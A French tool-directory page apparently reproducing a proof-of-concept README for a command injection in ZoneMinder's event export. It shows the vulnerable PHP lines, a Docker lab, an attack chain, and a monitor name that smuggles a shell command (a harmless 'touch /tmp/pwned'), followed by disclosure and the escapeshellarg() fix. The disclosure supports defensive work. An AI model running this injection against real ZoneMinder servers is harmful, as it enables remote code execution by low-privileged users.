Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-76060_ZoneMinder_CommandInjection-PoC — Preuve de concept d'exploitation pour CVE-2026-76060, une injection de commandes système dans l'exportation d'événements de ZoneMinder, démontrant une exécution de code à distance (RCE) via des noms de moniteurs spécialement conçus. | Kitploit
Outils/GitHubGitHub/investigato/cve-2026-76060_zoneminder_commandinjection-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleRed Teaming
GitHubinvestigato/cve-2026-76060_zoneminder_commandinjection-poc

CVE-2026-76060_ZoneMinder_CommandInjection-PoC

Preuve de concept d'exploitation pour CVE-2026-76060, une injection de commandes système dans l'exportation d'événements de ZoneMinder, démontrant une exécution de code à distance (RCE) via des noms de moniteurs spécialement conçus.

Voir le dépôt
110il y a 20 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

just wait and see

Preuve de concept pour une vulnérabilité d'injection de commandes OS dans la fonctionnalité d'exportation d'événements de ZoneMinder (web/includes/download_functions.php).

Les noms de moniteurs sont interpolés directement dans les commandes shell en utilisant un encadrement manuel par guillemets simples au lieu de escapeshellarg(). Un attaquant capable de créer un moniteur peut injecter des commandes shell arbitraires qui s'exécutent en tant que www-data/l'utilisateur sous lequel le processus tourne lorsque n'importe quel utilisateur déclenche une exportation d'événement.

Causes sous-jacentes

  • Commit 44c5c3c du 4 octobre 2023 : c'est ici que le fichier download_functions.php a été introduit. Le message du commit est « Introduce new download mode that concats event videos into 1 file per monitor. » Le code vulnérable est présent ici, mais nécessitait qu'un administrateur crée d'abord le moniteur.
  • Commit 2d49e93 du 2 janvier 2024 « Introduce a Create permission for Monitors, so that a given user may Edit existing monitors, but not create new ones. » C'est ici que les choses changent un peu. Désormais, un utilisateur avec uniquement peut configurer le nom du moniteur pour l'attaque, et n'importe quel utilisateur disposant des permissions d'exportation peut la déclencher.
Monitors=Create

Versions concernées : >= 1.37.48 (contient les modifications de migration SQL) et <= 1.38.1 La branche 1.36.x n'est pas concernée.

Comment ça fonctionne

Deux utilisateurs. Deux niveaux de privilèges. Un seul shell.

  • medpriv dispose de Monitors=Create ou Monitors=Edit s'il existe déjà un moniteur.
  • lowpriv dispose de juste assez d'accès pour déclencher une exportation d'événement. Il appuie sur la gâchette sans le savoir.

L'enregistrement d'événement n'a pas besoin d'être créé manuellement. ZoneMinder est un système de caméras... il crée automatiquement les enregistrements d'événements lorsque les caméras fonctionnent. Dans un déploiement en production, l'étape de configuration est : créer le moniteur, puis s'éloigner.

Deux points d'injection, une seule source

Le nom de moniteur non assaini atteint deux appels exec() distincts :

Ligne 126 | ffmpeg :

root@kitploit:~
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy \''.$export_dir.'/'.$mergedFileName. '\' 2>&1';
exec($cmd, $output, $return);

Ligne 150 | tar/zip :

root@kitploit:~
$command .= ' \''.$mergedFileName.'\'';
if (executeShelCommand($command, $deleteFile = $mergedFileName) === false) return false;

Les deux sont atteignables à partir du même nom de moniteur soigneusement conçu, quel que soit le format d'exportation.

Prérequis

  • Docker
  • Docker Compose

Utilisation

root@kitploit:~
git clone https://github.com/investigato/zoneminder-rce-poc.git
cd zoneminder-rce-poc
docker compose up -d
# attendre que ZoneMinder termine son initialisation (~30 secondes)
uv run poc.py

init.sql initialise la base de données avec l'authentification activée et deux utilisateurs :

  • medpriv avec les droits de création de moniteurs (et, pour des raisons de temps, également les droits de création d'événements, mais ce n'est pas nécessaire en production)
  • lowpriv avec uniquement l'accès à l'exportation d'événements

uv run poc.py exécute la chaîne complète :

  1. medpriv s'authentifie via l'API et crée un moniteur nommé poc'; touch /tmp/pwned; echo '
  2. medpriv crée un enregistrement d'événement pour accélérer la démonstration (en production, ZoneMinder le fait automatiquement)
  3. lowpriv s'authentifie et déclenche une exportation d'événement
  4. Le script vérifie /tmp/pwned dans le conteneur et affiche le résultat

Sortie attendue :

root@kitploit:~
Login: 200
Token: ok
Create monitor: 200 — {"message":"Saved"}
Created monitor ID=1 name="poc'; touch /tmp/pwned; echo '"
Create event: 200
Event ID=1
Login: 200
Token: ok
Export: 200 = {"result":"Ok","exportFile":"?view=download&type=zip&file=Export.zip","exportFormat":"zip","connkey":""}
Deleted event 1
Deleted monitor 1

Did it work?
running docker exec ... ls -la /tmp/pwned inside the container to check if the file was created
Success! Command injection worked, /tmp/pwned was created inside the container.
-rw-r--r-- 1 www-data www-data 0 Jun  6 18:32 /tmp/pwned

CVSS

  • 3.1 : 8.8 (Élevé) : AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • 4.0 : 8.7 (Élevé) : AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Dans tous les cas, au minimum escapeshellarg() ne coûte rien.

Divulgation

  • 03/08/2026 : Signalé via l'adresse e-mail de contact sécurité de ZoneMinder
  • 03/09/2026 : Corrigé dans le commit b3a7c05
  • 06/08/2026 : Divulgation publique

[!NOTE] Corrigé dans les 12 heures suivant le signalement. Aucune reconnaissance de la part du mainteneur qu'il s'agit d'un problème de sécurité. Je ne suis pas d'accord. Mis à jour le 27/08/26 - Le mainteneur a reconnu le signalement et un CVE a été émis.

Correctif

Appliquez escapeshellarg() aux deux points d'injection au minimum :

root@kitploit:~
// Ligne 126
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy '.escapeshellarg($export_dir.'/'.$mergedFileName).' 2>&1';

// Ligne 150
$command .= ' '.escapeshellarg($mergedFileName);

Les lignes 116 et 211 dans generateFileList() présentent le même schéma.


Découvert par (@investigato)
Analyse complète : scriptkittens.com

Télécharger l’outil